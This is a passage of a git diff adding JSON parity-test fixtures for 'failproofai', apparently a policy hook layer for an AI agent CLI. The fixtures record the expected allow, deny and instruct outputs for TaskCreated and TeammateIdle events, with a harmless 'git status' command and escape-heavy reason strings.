\"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCreated/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/TaskCreated/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..b56e2431 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCreated/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCreated/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/TaskCreated/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..8b4b9349 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCreated/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCreated/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/TaskCreated/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..53d32b60 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCreated/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCreated/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/TaskCreated/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..56f54dd5 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCreated/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCreated/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/TaskCreated/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..1ac8b63e --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCreated/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCreated/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/TaskCreated/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..2e89c4ab --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCreated/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCreated/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/TaskCreated/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..791e12e4 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCreated/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCreated/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/TaskCreated/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..c8c18d83 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCreated/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCreated/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/TaskCreated/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..b2e0c0cf --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCreated/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCreated/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/TaskCreated/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..9861f1b3 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCreated/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCreated/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/TaskCreated/deny__tool-present__one-policy.json new file mode 100644 index 00000000..421fd28c --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCreated/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCreated/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/TaskCreated/deny__tool-present__two-policies.json new file mode 100644 index 00000000..5e05e4dd --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCreated/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCreated/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/TaskCreated/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..dc216cf3 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCreated/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCreated/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/TaskCreated/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..54ea28e4 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCreated/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCreated/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/TaskCreated/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..9324487c --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCreated/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCreated/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/TaskCreated/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..a625c1d6 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCreated/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/TeammateIdle/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/TeammateIdle/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..1f4783e9 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TeammateIdle/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/TeammateIdle/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/TeammateIdle/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..8f2042cd --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TeammateIdle/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/TeammateIdle/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/TeammateIdle/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..7aa9913a --- /dev/null +++ 